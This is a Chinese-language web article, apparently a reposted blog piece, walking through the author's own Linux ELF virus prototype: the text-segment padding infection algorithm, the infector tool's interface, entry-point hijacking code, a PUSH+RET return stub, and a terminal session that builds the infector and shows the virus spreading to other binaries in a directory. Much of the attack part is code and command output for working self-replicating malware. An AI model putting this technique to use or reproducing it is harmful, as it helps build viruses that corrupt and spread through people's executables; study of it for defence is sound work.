分享
 
 
 

剖析Linux病毒原型工作过程和关键环节

王朝system·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

一、 介绍

写这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结,同时向对这方面有兴趣的朋友做一个简单的介绍。阅读这篇文章你需要一些知识,要对ELF有所了解、能够阅读一些嵌入了汇编的C代码、了解病毒的基本工作原理。

二、 ELF Infector (ELF文件感染器)

为了制作病毒文件,我们需要一个ELF文件感染器,用于制造第一个带毒文件。对于ELF文件感染技术,在Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》一文中已经有了一个非常好的分析、描述,在这方面我还没有发现可以对其进行补充的地方,因此在这里我把Silvio Cesare对ELF Infection过程的总结贴出来,以供参考:

The final algorithm is using this information is.

* Increase p_shoff by PAGE_SIZE in the ELF header

* Patch the insertion code (parasite) to jump to the entry point

(original)

* Locate the text segment program header

* Modify the entry point of the ELF header to point to the new

code (p_vaddr + p_filesz)

* Increase p_filesz by account for the new code (parasite)

* Increase p_memsz to account for the new code (parasite)

* For each phdr who's segment is after the insertion (text segment)

* increase p_offset by PAGE_SIZE

* For the last shdr in the text segment

* increase sh_len by the parasite length

* For each shdr who's section resides after the insertion

* Increase sh_offset by PAGE_SIZE

* Physically insert the new code (parasite) and pad to PAGE_SIZE, into

the file - text segment p_offset + p_filesz (original)

在Linux病毒原型中所使用的gei - ELF Infector即是根据这个原理写的。在附录中你可以看到这个感染工具的源代码: g-elf-infector.cg-elf-infector与病毒是独立开的,其只在制作第一个病毒文件时被使用。我简单介绍一下它的使用方法,g-elf-infector.c可以被用于任何希望--将二进制代码插入到指定文件的文本段,并在目标文件执行时首先被执行--的用途上。g-elf-infector.c的接口很简单,你只需要提供以下三个定义:

* 存放你的二进制代码返回地址的地址,这里需要的是这个地址与代码起始地址的偏移,用于返回到目标程序的正常入口

#define PARACODE_RETADDR_ADDR_OFFSET 1232

* 要插入的二进制代码(由于用C编写,所以这里需要以一个函数的方式提供)

void parasite_code(void);

* 二进制代码的结束(为了易用,这里用一个结尾函数来进行代码长度计算)

void parasite_code_end(void);

parasite_code_end应该是parasite_code函数后的第一个函数定义,通常应该如下表示

void parasite_code(void)

{

...

...

...

}

void parasite_code_end(void) {}

在这里存在一个问题,就是编译有可能在编译时将parasite_code_end放在parasite_code地址的前面,这样会导致计算代码长度时失败,为了避免这个问题,你可以这样做

void parasite_code(void)

{

...

...

...

}

void parasite_code_end(void) {parasite_code();}

有了这三个定义,g-elf-infector就能正确编译,编译后即可用来ELF文件感染

face=Verdana

三、病毒原型的工作过程

1 首先通过ELF Infector将病毒代码感染到一个ELF文件,这样就创造了第一个带毒文件,后续的传播就由它来完成。

2 当带毒文件被执行时,会首先跳到病毒代码开始执行。

3 病毒代码开始发作,在这个原型里,病毒会直接开始传播。

4 病毒遍历当前目录下的每一个文件,如果是符合条件的ELF文件就开始感染。

5 病毒的感染过程和ELF Infector的过程类似,但由于工作环境的不同,代码的实现也是有较大区别的。

6 目前传染对ELF文件的基本要求是文本段要有剩余空间能够容纳病毒代码,如果无法满足,病毒会忽略此ELF。对于被感染过一次的ELF文件,文本段将不会有剩余的空间,因此二次感染是不会发生的。

7 病毒代码执行过后,会恢复堆栈和所有寄存器(这很重要),然后跳回到真正的可执行文件入口,开始正常的运行过程。

上面对病毒原型的工作过程的介绍也许显得千篇一律了,和我们早就熟知的关于病毒的一些介绍没有什么区别?是的,的确是这样,原理都是类似的,关键是要看实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。

四、关键技术问题及处理

1 ELF文件执行流程重定向和代码插入

在ELF文件感染的问题上,ELF Infector与病毒传播时调用的infect_virus思路是一样的:

* 定位到文本段,将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉ELF文件的格式,将病毒代码复制到文本段尾部后,能够根据需要调整文本段长度改变所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部分与一个.setion建立关联,防止strip这样的工具将插入的代码去除。还有一点就是要注意文本段增加长度的对齐问题,见ELF文档中的描述:

p_align

As ``Program Loading'' later in this part describes, loadable

process segments must have congruent values for p_vaddr and

p_offset, modulo the page size.

* 通过过将ELF文件头中的入口地址修改为病毒代码地址来完成代码重定向:

/* Modify the entry point of the ELF */

org_entry = ehdr-e_entry;

ehdr-e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;

2 病毒代码如何返回到真正的ELF文件入口

方法技巧应该很多,这里采用的方法是PUSH+RET组合:

__asm__ volatile (

...

"return:\n\t"

"push $0xAABBCCDD\n\t" /* push ret_addr */

"ret\n"

::);

其中0xAABBCCDD处存放的是真正的程序入口地址,这个值在插入病毒代码时由感染程序来填写。

五、 新编译环境下的调试方法

grip2@linux:~/tmp/virus ls

g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h

调整Makefile文件,将编译模式改为调试模式,即关掉-DNDEBUG选项

grip2@linux:~/tmp/virus cat Makefile

all: foo gei

gei: g-elf-infector.c gvirus.o

gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG

foo: foo.c

gcc $< -o foo

gvirus.o: gvirus.c

gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG

clean:

rm *.o -rf

rm foo -rf

rm gei -rf

编译代码

grip2@linux:~/tmp/virus make

gcc foo.c -o foo

gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG

gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG

先获取病毒代码长度,然后调整gvirus.c中的#define PARACODE_LENGTH定义

grip2@linux:~/tmp/virus. /gei -l <.这里获取病毒代码的长度

Parasite code length: 1744

获取病毒代码开始位置和0xaabbccdd的地址,计算存放返回地址的地址的偏移

grip2@linux:~/tmp/virus objdump -d gei|grep aabbccdd

8049427: 68 dd cc bb aa push $0xaabbccdd

grip2@linux:~/tmp/virus objdump -d gei|grep ""

08048d80 :

8049450: e9 2b f9 ff ff jmp 8048d80

grip2@linux:~/tmp/virus objdump -d gei|grep ":"

08048d80 :

0x8049427与0x8048d80相减即获得我们需要的偏移,用这个值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值

重新编译

grip2@linux:~/tmp/virus make clean

rm *.o -rf

rm foo -rf

rm gei -rf

grip2@linux:~/tmp/virus make

gcc foo.c -o foo

gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG

gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG

grip2@linux:~/tmp/virus ls

gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c

g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h

建立一个测试目录,测试一下

grip2@linux:~/tmp/virus mkdir test

grip2@linux:~/tmp/virus cp gei foo test

grip2@linux:~/tmp/virus cd test

grip2@linux:~/tmp/virus/test ls

gei foo

grip2@linux:~/tmp/virus/test cp foo h

制作带毒程序

grip2@linux:~/tmp/virus/test. /gei h

file size: 8668

e_phoff: 00000034

e_shoff: 00001134

e_phentsize: 00000020

e_phnum: 00000008

e_shentsize: 00000028

e_shnum: 00000025

text segment file offset: 0

[15 sections patched]

grip2@linux:~/tmp/virus/test ll

total 44

-rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei

-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h

-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo

运行带毒程序

grip2@linux:~/tmp/virus/test. /h

.

..

gei

foo

h

.backup.h

real elf point

grip2@linux:~/tmp/virus/test ll

total 52

-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei

-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h

-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo

测试上面带毒程序运行后,是否感染了其他ELF程序

grip2@linux:~/tmp/virus/test. /foo

.

..

gei

Better luck next file

foo

h

Better luck next file

.backup.h

Better luck next file

real elf point

OK,成功

grip2@linux:~/tmp/virus/test cp. ./foo hh

grip2@linux:~/tmp/virus/test ll

total 64

-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei

-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h

-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh

-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo

grip2@linux:~/tmp/virus/test. /foo

.

..

gei

Better luck next file

foo

h

Better luck next file

.backup.h

Better luck next file

hh

real elf point

grip2@linux:~/tmp/virus/test

六、总结

由于我既不是一个virus coder也不是一个anti-viruscoder,所以对病毒技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确,分析不够到位,还请指正,谢谢。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有